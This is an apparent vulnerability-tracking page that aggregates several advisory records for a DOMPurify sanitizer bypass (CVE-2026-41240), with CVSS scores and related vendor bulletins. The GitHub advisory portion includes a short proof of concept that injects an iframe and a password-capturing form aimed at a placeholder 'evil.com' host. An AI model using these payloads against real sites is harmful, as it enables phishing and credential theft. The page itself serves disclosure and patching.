DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-41240
PublishedDOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Source published
- 23 Apr 2026 14:54:32 UTC
- Source modified
- 23 Apr 2026 17:21:30 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-25238
PublishedDOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 23, 2026, 2:54:32 PM
dateUpdated: Apr 23, 2026, 5:21:30 PM
22 related source bulletins · separate from aliases
RHSA-2026:27879: Red Hat Security Advisory: OpenShift Virtualization v4.21 Images
CVE-2026-41240
RHSA-2026:27967: Red Hat Security Advisory: OpenShift Virtualization v4.20 Images
CVE-2026-41240
RHSA-2026:34608: Red Hat Security Advisory: Streams for Apache Kafka 2.9.4 release and security update
CVE-2024-29371 · CVE-2025-13465 · CVE-2025-58056 · CVE-2026-1002 · CVE-2026-4800 · CVE-2026-6860 · CVE-2026-23864 · CVE-2026-24281 · CVE-2026-24308 · CVE-2026-27980 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34480 · CVE-2026-39852 · CVE-2026-41240 · CVE-2026-42044 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-44249 · CVE-2026-44573 · CVE-2026-44574 · CVE-2026-44575 · CVE-2026-44577 · CVE-2026-44578 · CVE-2026-44579 · CVE-2026-44893 · CVE-2026-45109 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-50010 · CVE-2026-50559
WID-SEC-W-2026-2892: Oracle Construction and Engineering: Schwachstelle gefährdet Vertraulichkeit und Integrität
CVE-2026-41240
WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen
CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723
RHSA-2026:27875: Red Hat Security Advisory: OpenShift Virtualization v4.18 Images
CVE-2026-41240
RHSA-2026:36107: Red Hat Security Advisory: OpenShift Virtualization v4.15 Images
CVE-2026-41240 · CVE-2026-42044
RHSA-2026:27872: Red Hat Security Advisory: OpenShift Virtualization v4.19 Images
CVE-2026-41240
RHSA-2026:22619: Red Hat Security Advisory: Red Hat Data Grid 8.6.1 security update
CVE-2026-4800 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043
openSUSE-SU-2026:10888-1: argocd-cli-3.4.3-1.1 on GA media
CVE-2026-41240
RHSA-2026:24977: Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI
CVE-2025-14813 · CVE-2025-48956 · CVE-2025-61726 · CVE-2025-62718 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1462 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-23490 · CVE-2026-24747 · CVE-2026-25048 · CVE-2026-25960 · CVE-2026-27489 · CVE-2026-27893 · CVE-2026-28500 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-31958 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-34986 · CVE-2026-34993 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043
RHSA-2026:86618: Red Hat Security Advisory: New container image: rhceph-9.2
CVE-2023-46159 · CVE-2024-47866 · CVE-2024-48916 · CVE-2024-55565 · CVE-2025-12816 · CVE-2025-15599 · CVE-2025-26791 · CVE-2025-30156 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58754 · CVE-2025-59343 · CVE-2025-62718 · CVE-2025-66030 · CVE-2025-66035 · CVE-2025-66412 · CVE-2025-69873 · CVE-2026-0540 · CVE-2026-21441 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-27970 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33672 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39865 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-42033 · CVE-2026-42034 · CVE-2026-42035 · CVE-2026-42036 · CVE-2026-42037 · CVE-2026-42038 · CVE-2026-42039 · CVE-2026-42040 · CVE-2026-42041 · CVE-2026-42042 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-50152 · CVE-2026-58224
RHSA-2026:34160: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
CVE-2026-6322 · CVE-2026-33154 · CVE-2026-41240 · CVE-2026-42035 · CVE-2026-42784 · CVE-2026-44293 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44488 · CVE-2026-44495 · CVE-2026-48526
WID-SEC-W-2026-1407: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen
CVE-2026-26013 · CVE-2026-27142 · CVE-2026-28277 · CVE-2026-28684 · CVE-2026-32288 · CVE-2026-33151 · CVE-2026-33349 · CVE-2026-33532 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33916 · CVE-2026-34601 · CVE-2026-35469 · CVE-2026-39406 · CVE-2026-39407 · CVE-2026-39408 · CVE-2026-39409 · CVE-2026-39410 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40347 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-4923 · CVE-2026-4926
RHSA-2026:36108: Red Hat Security Advisory: OpenShift Virtualization v4.13 Images
CVE-2026-41240 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495
RHSA-2026:59360: Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 3.3.1 GA ]
CVE-2026-12975 · CVE-2026-12992 · CVE-2026-12993 · CVE-2026-41240 · CVE-2026-44496 · CVE-2026-49978
RHSA-2026:28010: Red Hat Security Advisory: Red Hat build of Cryostat security update
CVE-2025-48431 · CVE-2026-9277 · CVE-2026-32281 · CVE-2026-41240 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-43869
RHSA-2026:21338: Red Hat Security Advisory: Red Hat Developer Hub 1.8.7 release.
CVE-2026-6321 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-41674 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
RHSA-2026:16476: Red Hat Security Advisory: Kiali 1.73.30 for Red Hat OpenShift Service Mesh 2.6
CVE-2026-32280 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043
RHSA-2026:27944: Red Hat Security Advisory: OpenShift Virtualization v4.14 Images
CVE-2026-41240 · CVE-2026-44495
RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.
CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
RHSA-2026:28001: Red Hat Security Advisory: OpenShift Virtualization v4.17 Images
CVE-2026-41240
- Source published
- Apr 23, 2026, 2:54:32 PM (timezone not stated)
- Source modified
- Apr 23, 2026, 5:21:30 PM (timezone not stated)
- Observed here
- 28 Oct 2026 05:07:19 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-41240
PublishedDOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-79 · CWE-183
Original publisher date fields
published: 2026-04-23T16:16:26.710
lastModified: 2026-10-26T21:10:00.170
1 source CPE criteria · context only
- cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 23 Apr 2026 16:16:26 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 10:10:07 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
osv · GHSA-h7mw-gpvr-xq4m
PublishedThere is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef
- Source published
- 22 Apr 2026 17:34:17 UTC
- Source modified
- 10 Sep 2026 03:50:44 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE